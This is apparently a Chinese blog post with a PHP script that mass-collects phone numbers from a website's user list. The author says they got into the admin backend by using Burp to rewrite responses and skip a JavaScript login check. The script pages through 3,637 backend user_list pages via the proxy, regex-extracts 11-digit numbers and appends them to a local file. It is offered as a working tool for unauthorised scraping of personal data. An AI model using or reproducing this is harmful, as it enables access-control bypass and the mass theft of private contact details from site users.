网页手机号采集脚本

最近遇到个网站,我想获得后台的手机号,但是手工复制太累,而且那个后台还用了JS判断登陆,利用BURP修改相应包跳过限制,但是采集工具什么的都没办法配合BURP实现采集,另外那些采集工具写的太花里胡哨原谅我用不来. 基于此,昨晚写出了这么个小脚本,工具的原理是,获得目标页相应包,然后利用正则提取出所有的手机号存在本地,狠轻松的配合了BURP实现了我要的效果.

<?php
set_time_limit(0); //定义脚本执行时间无限制

//代理ip  配合BURP
const PROXY_LIST = [
    '127.0.0.1:8080',
    
];

function curl_via_proxy($url,$proxy_ip,$headers = [],$user_agent = 'curl',$method = 'GET')
{
    $arr_ip = explode(':',$proxy_ip);

    $ch = curl_init($url); //创建CURL对象  
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    curl_setopt($ch, CURLOPT_HEADER, 0); //返回头部  
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //返回信息  
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); //连接超时时间
    curl_setopt($ch, CURLOPT_TIMEOUT, 5); //读取超时时间
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //对认证证书来源的检查
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //从证书中检查SSL加密算法是否存在
    curl_setopt($ch, CURLOPT_PROXY, $arr_ip[0]); //代理服务器地址
    curl_setopt($ch, CURLOPT_PROXYPORT, $arr_ip[1]); //代理服务器端口
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    //添加头部信息
    if(!empty($headers)){
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }


    $res = curl_exec($ch);
    $curl_errno = curl_errno($ch);
    if ($curl_errno) {
        curl_close($ch);
        return false;
    }
    curl_close($ch);
    return $res;
}
$headers = array(
    'authority:www.mrwu.red',
    'upgrade-insecure-requests:1',
    'user-agent:Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3355.4 Safari/537.36',
    'accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'accept-encoding:gzip, deflate, br',
    'accept-language:zh-CN,zh;q=0.9,en;q=0.8',
);


$num = 1;//初始化一个变量为1
for($i = 1; $i <= 3637; $i++)//这个是看你要生成多少个数字，然后循环生成
{
    if($num >= 1)
	$url = 'https://www.mrwu.red/xxxxx/user_list/p/'.$num.'.html';
	$nums = findThePhoneNumbers(curl_via_proxy($url,PROXY_LIST[array_rand(PROXY_LIST,1)],$headers));
    $num++;//然后将变量加1，即在前面生成的数字基础上加一
}





function findThePhoneNumbers($oldStr = ""){
  // 检测字符串是否为空
  $oldStr=trim($oldStr);
  $numbers = array();
  if(empty($oldStr)){
    return $numbers;
  }

  $strArr = explode("-", $oldStr);

  $newStr = $strArr[0];
  for ($i=1; $i < count($strArr); $i++) { 
    if (preg_match("/\d{2}$/", $newStr) && preg_match("/^\d{11}/", $strArr[$i])){
      $newStr .= $strArr[$i]; 
    } elseif (preg_match("/\d{3,4}$/", $newStr) && preg_match("/^\d{7,8}/", $strArr[$i])) {
      $newStr .= $strArr[$i]; 
    } else {
      $newStr .= "-".$strArr[$i]; 
    } 
  }
  // 手机号的获取
  $reg='/\D(?:86)?(\d{11})\D/is';//匹配数字的正则表达式
  preg_match_all($reg,$newStr,$result);

  $nums = array();


  $aa = "/^[0-9]{11}$/";

  foreach ($result[1] as $key => $value) {
    if(preg_match($aa,$value)){
      $nums[] = array("a" => $value);

	$myfile = fopen('E:\test\test\test\public\txt.txt', "a") or die("Unable to open file!"); #其中 w是覆盖写入，改成a 是追加写入
	$txt = $value."\r";
	fwrite($myfile, $txt);
	fclose($myfile);

      //echo $value,'</br>';


    }
  }

}